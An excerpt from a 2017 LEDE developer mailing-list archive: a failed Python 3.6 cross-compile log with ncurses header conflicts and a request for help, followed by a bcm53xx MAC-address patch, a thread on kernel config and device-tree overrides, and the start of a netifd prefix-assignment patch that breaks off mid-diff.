-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/include/fortify 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/include 
" CXXFLAGS="-Os -pipe -mcpu=cortex-a9 -mfpu=vfpv3-d16 -fno-caller-saves 
-fno-plt -fhonour-copts -Wno-error=unused-but-set-variable 
-Wno-error=unused-result -mfloat-abi=hard -iremap 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0:Python-3.6.0 
-Wformat -Werror=format-security -fstack-protector -D_FORTIFY_SOURCE=1 
-Wl,-z,now -Wl,-z,relro -DNDEBUG -fno-inline 
-I/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/usr/include 
-I/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/include 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/usr/include 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/include/fortify 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/include 
" 
LDFLAGS="-L/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/usr/lib 
-L/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/lib 
-L/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/usr/lib 
-L/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/lib 
-znow -zrelro 
-L/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0" 
make  -C 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/. 
AR="arm-openwrt-linux-muslgnueabi-gcc-ar" 
AS="arm-openwrt-linux-muslgnueabi-gcc -c -Os -pipe -mcpu=cortex-a9 
-mfpu=vfpv3-d16 -fno-caller-saves -fno-plt -fhonour-copts 
-Wno-error=unused-but-set-variable -Wno-error=unused-result 
-mfloat-abi=hard -iremap 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0:Python-3.6.0 
-Wformat -Werror=format-security -fstack-protector -D_FORTIFY_SOURCE=1 
-Wl,-z,now -Wl,-z,relro" LD=arm-openwrt-linux-muslgnueabi-ld 
NM="arm-openwrt-linux-muslgnueabi-gcc-nm" 
CC="arm-openwrt-linux-muslgnueabi-gcc" 
GCC="arm-openwrt-linux-muslgnueabi-gcc" 
CXX="arm-openwrt-linux-muslgnueabi-g++" 
RANLIB="arm-openwrt-linux-muslgnueabi-gcc-ranlib" 
STRIP=arm-openwrt-linux-muslgnueabi-strip 
OBJCOPY=arm-openwrt-linux-muslgnueabi-objcopy 
OBJDUMP=arm-openwrt-linux-muslgnueabi-objdump 
SIZE=arm-openwrt-linux-muslgnueabi-size 
CROSS="arm-openwrt-linux-muslgnueabi-" ARCH="arm" CROSS_COMPILE=yes 
LD="arm-openwrt-linux-muslgnueabi-gcc" PGEN=pgen3 ;
make[3]: Entering directory 
'/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0'
running build
running build_ext
INFO: Can't locate Tcl/Tk libs and/or headers
building '_curses' extension
arm-openwrt-linux-muslgnueabi-gcc -fPIC -Wno-unused-result 
-Wsign-compare -DNDEBUG -Os -pipe -mcpu=cortex-a9 -mfpu=vfpv3-d16 
-fno-caller-saves -fno-plt -fhonour-copts 
-Wno-error=unused-but-set-variable -Wno-error=unused-result 
-mfloat-abi=hard -iremap 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0:Python-3.6.0 
-Wformat -Werror=format-security -fstack-protector -D_FORTIFY_SOURCE=1 
-Wl,-z,now -Wl,-z,relro -Os -pipe -mcpu=cortex-a9 -mfpu=vfpv3-d16 
-fno-caller-saves -fno-plt -fhonour-copts 
-Wno-error=unused-but-set-variable -Wno-error=unused-result 
-mfloat-abi=hard -iremap 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0:Python-3.6.0 
-Wformat -Werror=format-security -fstack-protector -D_FORTIFY_SOURCE=1 
-Wl,-z,now -Wl,-z,relro -DNDEBUG -fno-inline -Os -pipe -mcpu=cortex-a9 
-mfpu=vfpv3-d16 -fno-caller-saves -fno-plt -fhonour-copts 
-Wno-error=unused-but-set-variable -Wno-error=unused-result 
-mfloat-abi=hard -iremap 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0:Python-3.6.0 
-Wformat -Werror=format-security -fstack-protector -D_FORTIFY_SOURCE=1 
-Wl,-z,now -Wl,-z,relro -DNDEBUG -fno-inline 
-I/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/usr/include 
-I/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/include 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/usr/include 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/include/fortify 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/include 
-std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter 
-Wno-missing-field-initializers -DHAVE_NCURSESW=1 
-I/usr/include/ncursesw -I./Include -I. 
-I/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/include 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/usr/include 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/include/fortify 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/include 
-I/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/usr/include 
-I/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/Include 
-I/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0 
-c 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/Modules/_cursesmodule.c 
-o 
build/temp.linux2-3.6/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/Modules/_cursesmodule.o
cc1: note: someone does not honour COPTS correctly, passed 3 times
In file included from ./Include/py_curses.h:50:0,
                  from 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/Modules/_cursesmodule.c:113:
/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/usr/include/unctrl.h:60:38: 
error: conflicting types for 'unctrl'
  NCURSES_EXPORT(NCURSES_CONST char *) NCURSES_SP_NAME(unctrl) (SCREEN*, 
chtype);
                                       ^
In file included from /usr/include/ncursesw/curses.h:2012:0,
                  from ./Include/py_curses.h:50,
                  from 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/Modules/_cursesmodule.c:113:
/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/usr/include/unctrl.h:57:38: 
note: previous declaration of 'unctrl' was here
  NCURSES_EXPORT(NCURSES_CONST char *) unctrl (chtype);
                                       ^
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/Modules/_cursesmodule.c: 
In function 'PyCurses_UnCtrl':
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/Modules/_cursesmodule.c:3083:38: 
warning: passing argument 1 of 'unctrl' makes pointer from integer 
without a cast [-Wint-conversion]
      return PyBytes_FromString(unctrl(ch));
                                       ^
In file included from ./Include/py_curses.h:50:0,
                  from 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/Modules/_cursesmodule.c:113:
/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/usr/include/unctrl.h:60:38: 
note: expected 'SCREEN * {aka struct screen *}' but argument is of type 
'chtype {aka long unsigned int}'
  NCURSES_EXPORT(NCURSES_CONST char *) NCURSES_SP_NAME(unctrl) (SCREEN*, 
chtype);
                                       ^
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/Modules/_cursesmodule.c:3083:31: 
error: too few arguments to function 'unctrl'
      return PyBytes_FromString(unctrl(ch));
                                ^
In file included from ./Include/py_curses.h:50:0,
                  from 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/Modules/_cursesmodule.c:113:
/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/usr/include/unctrl.h:60:38: 
note: declared here
  NCURSES_EXPORT(NCURSES_CONST char *) NCURSES_SP_NAME(unctrl) (SCREEN*, 
chtype);
                                       ^
building '_curses_panel' extension
arm-openwrt-linux-muslgnueabi-gcc -fPIC -Wno-unused-result 
-Wsign-compare -DNDEBUG -Os -pipe -mcpu=cortex-a9 -mfpu=vfpv3-d16 
-fno-caller-saves -fno-plt -fhonour-copts 
-Wno-error=unused-but-set-variable -Wno-error=unused-result 
-mfloat-abi=hard -iremap 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0:Python-3.6.0 
-Wformat -Werror=format-security -fstack-protector -D_FORTIFY_SOURCE=1 
-Wl,-z,now -Wl,-z,relro -Os -pipe -mcpu=cortex-a9 -mfpu=vfpv3-d16 
-fno-caller-saves -fno-plt -fhonour-copts 
-Wno-error=unused-but-set-variable -Wno-error=unused-result 
-mfloat-abi=hard -iremap 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0:Python-3.6.0 
-Wformat -Werror=format-security -fstack-protector -D_FORTIFY_SOURCE=1 
-Wl,-z,now -Wl,-z,relro -DNDEBUG -fno-inline -Os -pipe -mcpu=cortex-a9 
-mfpu=vfpv3-d16 -fno-caller-saves -fno-plt -fhonour-copts 
-Wno-error=unused-but-set-variable -Wno-error=unused-result 
-mfloat-abi=hard -iremap 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0:Python-3.6.0 
-Wformat -Werror=format-security -fstack-protector -D_FORTIFY_SOURCE=1 
-Wl,-z,now -Wl,-z,relro -DNDEBUG -fno-inline 
-I/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/usr/include 
-I/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/include 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/usr/include 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/include/fortify 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/include 
-std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter 
-Wno-missing-field-initializers -DHAVE_NCURSESW=1 
-I/usr/include/ncursesw -I./Include -I. 
-I/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/include 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/usr/include 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/include/fortify 
-I/home/lx/clearfog/octu-lede/staging_dir/toolchain-arm_cortex-a9+vfpv3_gcc-5.4.0_musl-1.1.16_eabi/include 
-I/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/usr/include 
-I/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/Include 
-I/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0 
-c 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/Modules/_curses_panel.c 
-o 
build/temp.linux2-3.6/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/Modules/_curses_panel.o
cc1: note: someone does not honour COPTS correctly, passed 3 times
In file included from ./Include/py_curses.h:50:0,
                  from 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/Modules/_curses_panel.c:15:
/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/usr/include/unctrl.h:60:38: 
error: conflicting types for 'unctrl'
  NCURSES_EXPORT(NCURSES_CONST char *) NCURSES_SP_NAME(unctrl) (SCREEN*, 
chtype);
                                       ^
In file included from /usr/include/ncursesw/curses.h:2012:0,
                  from ./Include/py_curses.h:50,
                  from 
/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/Modules/_curses_panel.c:15:
/home/lx/clearfog/octu-lede/staging_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/usr/include/unctrl.h:57:38: 
note: previous declaration of 'unctrl' was here
  NCURSES_EXPORT(NCURSES_CONST char *) unctrl (chtype);
                                       ^

Python build finished successfully!
The necessary bits to build these optional modules were not found:
_tkinter              nis
To find the necessary bits, look in setup.py in detect_modules() for the 
module's name.

The following modules found by detect_modules() in setup.py, have been
built by the Makefile instead, as configured by the Setup files:
atexit                pwd                   time
zlib

Failed to build these modules:
_curses               _curses_panel

Makefile:617: recipe for target 'sharedmods' failed
make[3]: *** [sharedmods] Error 1
make[3]: Leaving directory 
'/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0'
Makefile:286: recipe for target 
'/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/.built' 
failed
make[2]: *** 
[/home/lx/clearfog/octu-lede/build_dir/target-arm_cortex-a9+vfpv3_musl-1.1.16_eabi/Python-3.6.0/.built] 
Error 2
make[2]: Leaving directory 
'/home/lx/clearfog/octu-lede/feeds/packages/lang/python3'
package/Makefile:106: recipe for target 
'package/feeds/packages/python3/compile' failed
make[1]: *** [package/feeds/packages/python3/compile] Error 2
make[1]: Leaving directory '/home/lx/clearfog/octu-lede'
/home/lx/clearfog/octu-lede/include/toplevel.mk:197: recipe for target 
'package/python3/compile' failed
make: *** [package/python3/compile] Error 2


how to fix it ?

-- 
M.Sci.

Embedded Software Entwicklung

DKS Dienstleistungsgesellschaft
f?r Kommunikationsanlagen des
Stadt- und Regionalverkehrs mbH

Robert-Perthel-Str. 79
D-50739 K?ln

Fon: +49 221 954442-43
Fax: +49 221 954442-23
E-Mail: xue.liu at dks-koeln.de
Web: www.dks-koeln.de

Gesch?ftsf?hrung: Christian D?ring, Ralf Kochs

Aufsichtsratsvorsitzender: J?rn Schwarze

Sitz der Gesellschaft: K?ln

Registergericht: K?ln, HRB 4521

UST-IDNr: DE154089761

Wichtiger Hinweis: Diese E-Mail und etwaige Anlagen k?nnen Betriebs- oder Gesch?ftsgeheimnisse, dem Anwaltsgeheimnis unterliegende oder sonstige vertrauliche Informationen enthalten. Sollten Sie diese E-Mail irrt?mlich erhalten haben, ist Ihnen der Status dieser E-Mail bekannt. Bitte benachrichtigen Sie uns in diesem Fall sofort durch Antwort-Mail und l?schen Sie diese E-Mail nebst etwaigen Anlagen von Ihrem System. Ebenso d?rfen Sie diese E-Mail oder ihre Anlagen nicht kopieren oder an Dritte weitergeben. Vielen Dank!

Important note: This e-mail and any attachment are confidential and may contain trade secrets and may well also be legally privileged or otherwise protected from disclosure. If you have received it in error, you are on notice of its status. Please notify us immediately by reply e-mail and then delete this e-mail and any attachment from your system. If you are not the intended recipient please understand that you must not copy this e-mail or any attachment or disclose the contents to any other person. Thank you for your cooperation.



From zajec5 at gmail.com  Tue Jan 31 04:53:46 2017
From: zajec5 at gmail.com (=?UTF-8?q?Rafa=C5=82=20Mi=C5=82ecki?=)
Date: Tue, 31 Jan 2017 13:53:46 +0100
Subject: [LEDE-DEV] [PATCH] bcm53xx: fix LAN MAC address for devices that
 use eth2 originally
Message-ID: <20170131125346.6229-1-zajec5@gmail.com>

From: Rafa? Mi?ecki <rafal at milecki.pl>

We override default Ethernet interface with eth0 which often uses random
MAC due to missing proper NVRAM entry. Fix this by manually assigning
MAC in the config.

Signed-off-by: Rafa? Mi?ecki <rafal at milecki.pl>
---
 target/linux/bcm53xx/base-files/etc/board.d/02_network | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/target/linux/bcm53xx/base-files/etc/board.d/02_network b/target/linux/bcm53xx/base-files/etc/board.d/02_network
index 672b1349df..3c19b574b8 100755
--- a/target/linux/bcm53xx/base-files/etc/board.d/02_network
+++ b/target/linux/bcm53xx/base-files/etc/board.d/02_network
@@ -50,6 +50,12 @@ netgear,r8500)
 	ifname=eth0
 	ucidef_add_switch "switch0" \
 		"0:lan" "1:lan" "2:lan" "3:lan" "4:wan" "5t@$ifname"
+
+	# These devices should use eth2 and their eth0 interface often has no
+	# MAC assigned. Manually assign eth2's MAC to the LAN.
+	et2macaddr="$(echo $(nvram get et2macaddr))"
+	[ -n "$et2macaddr" ] && ucidef_set_interface_macaddr "lan" "$et2macaddr"
+
 	board_config_flush
 	exit 0
 	;;
-- 
2.11.0



From mr.zoltan.gyarmati at gmail.com  Tue Jan 31 07:04:34 2017
From: mr.zoltan.gyarmati at gmail.com (Zoltan Gyarmati)
Date: Tue, 31 Jan 2017 16:04:34 +0100
Subject: [LEDE-DEV] [OpenWrt-Devel] Bounty: simplify
 extracting/restoring kernel .config
In-Reply-To: <7ba5bedb-309b-9a70-42d1-0e8f2028784e@nbd.name>
References: <98334305-282E-440C-859C-D202CCB550F8@redfish-solutions.com>
 <7ba5bedb-309b-9a70-42d1-0e8f2028784e@nbd.name>
Message-ID: <28b3c340-c1ca-93aa-7309-53216cf805a0@gmail.com>

On 01/31/2017 10:19 AM, Felix Fietkau wrote:
> On 2017-01-29 22:37, Philip Prindeville wrote:
>> Hi.
>>
>> I?m working on a project where I need to be able to force certain
>> kernel configuration parameters from a script, to automate building
>> tailored kernels for performance testing, certification, etc.
>>
>> I love the way that I can use ?scripts/diffconfig.sh? to save the
>> deltas into a file? update the cloning/checkout of master over time,
>> yet retain my saved overrides by doing a ?cp ../my.config .config ;
>> make defconfig oldconfig? and always end up with a known/good
>> configuration.
>>
>> Alas, I can?t do the same for the target kernel in a scripted way.
>>
>> I?d like to put out a bounty for doing so.  If you?re interested,
>> contact me via email to discuss the deliverable and the terms of
>> payment.
>>
>> Ideally, this would be of broad enough applicability that I?d want to
>> upstream this back to OpenWRT for everyone, so keep that in mind as
>> well.
> This is already implemented. You can put any kernel configuration
> overrides into env/kernel-config.
> Generating those is fairly easy too, you can use this command:
> make kernel_menuconfig CONFIG_TARGET=env
> You can also put a full kernel config in that file instead of a delta.
> Running make kernel_oldconfig CONFIG_TARGET=env afterwards will reduce
> that full config to a delta relative to the defaults that LEDE uses.

Dear Felix & All,

might be slightly off-topic, but: Is there any similar mechanism to
customize/override not only the kernel config but also the device tree file?

>
> - Felix
> _______________________________________________
> openwrt-devel mailing list
> openwrt-devel at lists.openwrt.org
> https://lists.openwrt.org/cgi-bin/mailman/listinfo/openwrt-devel
Thx in advance, regards,

Zoltan Gyarmati
https://zgyarmati.de


-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 473 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170131/4b861cea/attachment.sig>

From nbd at nbd.name  Tue Jan 31 07:05:22 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Tue, 31 Jan 2017 16:05:22 +0100
Subject: [LEDE-DEV] [OpenWrt-Devel] Bounty: simplify
 extracting/restoring kernel .config
In-Reply-To: <28b3c340-c1ca-93aa-7309-53216cf805a0@gmail.com>
References: <98334305-282E-440C-859C-D202CCB550F8@redfish-solutions.com>
 <7ba5bedb-309b-9a70-42d1-0e8f2028784e@nbd.name>
 <28b3c340-c1ca-93aa-7309-53216cf805a0@gmail.com>
Message-ID: <fb913963-79d1-da2c-b13f-fdc2bdebcfcf@nbd.name>

On 2017-01-31 16:04, Zoltan Gyarmati wrote:
> On 01/31/2017 10:19 AM, Felix Fietkau wrote:
>> On 2017-01-29 22:37, Philip Prindeville wrote:
>>> Hi.
>>>
>>> I?m working on a project where I need to be able to force certain
>>> kernel configuration parameters from a script, to automate building
>>> tailored kernels for performance testing, certification, etc.
>>>
>>> I love the way that I can use ?scripts/diffconfig.sh? to save the
>>> deltas into a file? update the cloning/checkout of master over time,
>>> yet retain my saved overrides by doing a ?cp ../my.config .config ;
>>> make defconfig oldconfig? and always end up with a known/good
>>> configuration.
>>>
>>> Alas, I can?t do the same for the target kernel in a scripted way.
>>>
>>> I?d like to put out a bounty for doing so.  If you?re interested,
>>> contact me via email to discuss the deliverable and the terms of
>>> payment.
>>>
>>> Ideally, this would be of broad enough applicability that I?d want to
>>> upstream this back to OpenWRT for everyone, so keep that in mind as
>>> well.
>> This is already implemented. You can put any kernel configuration
>> overrides into env/kernel-config.
>> Generating those is fairly easy too, you can use this command:
>> make kernel_menuconfig CONFIG_TARGET=env
>> You can also put a full kernel config in that file instead of a delta.
>> Running make kernel_oldconfig CONFIG_TARGET=env afterwards will reduce
>> that full config to a delta relative to the defaults that LEDE uses.
> 
> Dear Felix & All,
> 
> might be slightly off-topic, but: Is there any similar mechanism to
> customize/override not only the kernel config but also the device tree file?
Not really. What's your use case for this?

- Felix



From mr.zoltan.gyarmati at gmail.com  Tue Jan 31 07:21:17 2017
From: mr.zoltan.gyarmati at gmail.com (Zoltan Gyarmati)
Date: Tue, 31 Jan 2017 16:21:17 +0100
Subject: [LEDE-DEV] [OpenWrt-Devel] Bounty: simplify
 extracting/restoring kernel .config
In-Reply-To: <fb913963-79d1-da2c-b13f-fdc2bdebcfcf@nbd.name>
References: <98334305-282E-440C-859C-D202CCB550F8@redfish-solutions.com>
 <7ba5bedb-309b-9a70-42d1-0e8f2028784e@nbd.name>
 <28b3c340-c1ca-93aa-7309-53216cf805a0@gmail.com>
 <fb913963-79d1-da2c-b13f-fdc2bdebcfcf@nbd.name>
Message-ID: <e6725398-dd9c-137c-96c5-143b106ab171@gmail.com>

On 01/31/2017 04:05 PM, Felix Fietkau wrote:

> On 2017-01-31 16:04, Zoltan Gyarmati wrote:
>> On 01/31/2017 10:19 AM, Felix Fietkau wrote:
>>> On 2017-01-29 22:37, Philip Prindeville wrote:
>>>> Hi.
>>>>
>>>> I?m working on a project where I need to be able to force certain
>>>> kernel configuration parameters from a script, to automate building
>>>> tailored kernels for performance testing, certification, etc.
>>>>
>>>> I love the way that I can use ?scripts/diffconfig.sh? to save the
>>>> deltas into a file? update the cloning/checkout of master over time,
>>>> yet retain my saved overrides by doing a ?cp ../my.config .config ;
>>>> make defconfig oldconfig? and always end up with a known/good
>>>> configuration.
>>>>
>>>> Alas, I can?t do the same for the target kernel in a scripted way.
>>>>
>>>> I?d like to put out a bounty for doing so.  If you?re interested,
>>>> contact me via email to discuss the deliverable and the terms of
>>>> payment.
>>>>
>>>> Ideally, this would be of broad enough applicability that I?d want to
>>>> upstream this back to OpenWRT for everyone, so keep that in mind as
>>>> well.
>>> This is already implemented. You can put any kernel configuration
>>> overrides into env/kernel-config.
>>> Generating those is fairly easy too, you can use this command:
>>> make kernel_menuconfig CONFIG_TARGET=env
>>> You can also put a full kernel config in that file instead of a delta.
>>> Running make kernel_oldconfig CONFIG_TARGET=env afterwards will reduce
>>> that full config to a delta relative to the defaults that LEDE uses.
>> Dear Felix & All,
>>
>> might be slightly off-topic, but: Is there any similar mechanism to
>> customize/override not only the kernel config but also the device tree file?
> Not really. What's your use case for this?
Adding an i2c RTC to the RT5350F-OLinuXino board.
 It's already requires patching the dts file to enable the i2c port, but
that change i want to sent to upstream (as that is generally useful),
while adding my type of RTC chip to the device tree is specific to my
config, so i would like to keep it separated. The obvious solution is
to  to maintain my customization patches on the top of the upstream, but
if it's possible i want to avoid that, for which it would be perfect to
keep it in an 'env'.
Thx,

>
> - Felix
>

Zoltan Gyarmati
https://zgyarmati.de

Zoltan Gyarmati
https://zgyarmati.de


-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 473 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170131/7fd4dbf9/attachment.sig>

From dedeckeh at gmail.com  Tue Jan 31 07:46:15 2017
From: dedeckeh at gmail.com (Hans Dedecker)
Date: Tue, 31 Jan 2017 16:46:15 +0100
Subject: [LEDE-DEV] [PATCH netifd] interface: add prefix assignment priority
 support
Message-ID: <1485877575-27483-1-git-send-email-dedeckeh@gmail.com>

In case of prefix delegation prefixes are assigned to one or more
configured downstream interfaces. The delegated prefix length in
combination with the assignment length of the downstream interfaces
determines the number of subnets which can be allocated from the
delegated prefix.
The interface ip6weight parameter allows to prioritize the allocation
of subnets to interfaces in case of multiple configured downstream
interfaces.

The order of interface prefix assignment from a delegated prefix is
based on the following parameters:
-Primary key is prefix assignment based on the configured interface ip6hint
-Secondary key is the requested downstream interface prefix length,
interfaces configured with the smallest ip6hint will be assigned first
-Third key is the assigned interface ip6weight in case of equal prefix
assignment length; interfaces having the highest ip6weight will be
assigned first
-Finally the alphabetical order of the interfaces in case of equal
ip6weight

Signed-off-by: Hans Dedecker <dedeckeh at gmail.com>
---
 interface-ip.c | 57 ++++++++++++++++++++++++++++++++++++++++-----------------
 interface-ip.h |  1 +
 interface.c    |  6 ++++++
 interface.h    |  1 +
 ubus.c         |  2 ++
 5 files changed, 50 insertions(+), 17 deletions(-)

diff --git a/interface-ip.c b/interface-ip.c
index f8dab84..c20f0ba 100644
--- a/interface-ip.c
+++ b/interface-ip.c
@@ -850,6 +850,23 @@ static bool interface_prefix_assign(struct list_head *list,
 	return false;
 }
 
+/* Sorting of assignment entries :                          */
+/* Primary on assignment length : smallest assignment first */
+/* Secondary on assignment weight : highest weight first    */
+/* Finally alphabetical order of interface names            */
+static int prefix_assignment_cmp(const void *k1, const void *k2, void *ptr)
+{
+	const struct device_prefix_assignment *a1 = k1, *a2 = k2;
+
+	if (a1->length != a2->length)
+		return a1->length - a2->length;
+
+	if (a1->weight != a2->weight)
+		return a2->weight - a1->weight;
+
+	return strcmp(a1->name, a2->name);
+}
+
 static void interface_update_prefix_assignments(struct device_prefix *prefix, bool setup)
 {
 	struct device_prefix_assignment *c;
@@ -894,7 +911,13 @@ static void interface_update_prefix_assignments(struct device_prefix *prefix, bo
 	}
 
 	bool assigned_any = false;
-	struct list_head assign_later = LIST_HEAD_INIT(assign_later);
+	struct {
+		struct avl_node node;
+	} *entry, *n_entry;
+	struct avl_tree assign_later;
+
+	avl_init(&assign_later, prefix_assignment_cmp, false, NULL);
+
 	vlist_for_each_element(&interfaces, iface, node) {
 		if (iface->assignment_length < 48 ||
 				iface->assignment_length > 64)
@@ -923,6 +946,7 @@ static void interface_update_prefix_assignments(struct device_prefix *prefix, bo
 
 		c->length = iface->assignment_length;
 		c->assigned = iface->assignment_hint;
+		c->weight = iface->assignment_weight;
 		c->addr = in6addr_any;
 		c->enabled = false;
 		memcpy(c->name, iface->name, namelen);
@@ -935,27 +959,25 @@ static void interface_update_prefix_assignments(struct device_prefix *prefix, bo
 						"of size %hhu for %s, trying other\n", c->length, c->name);
 			}
 
-			struct list_head *next = &assign_later;
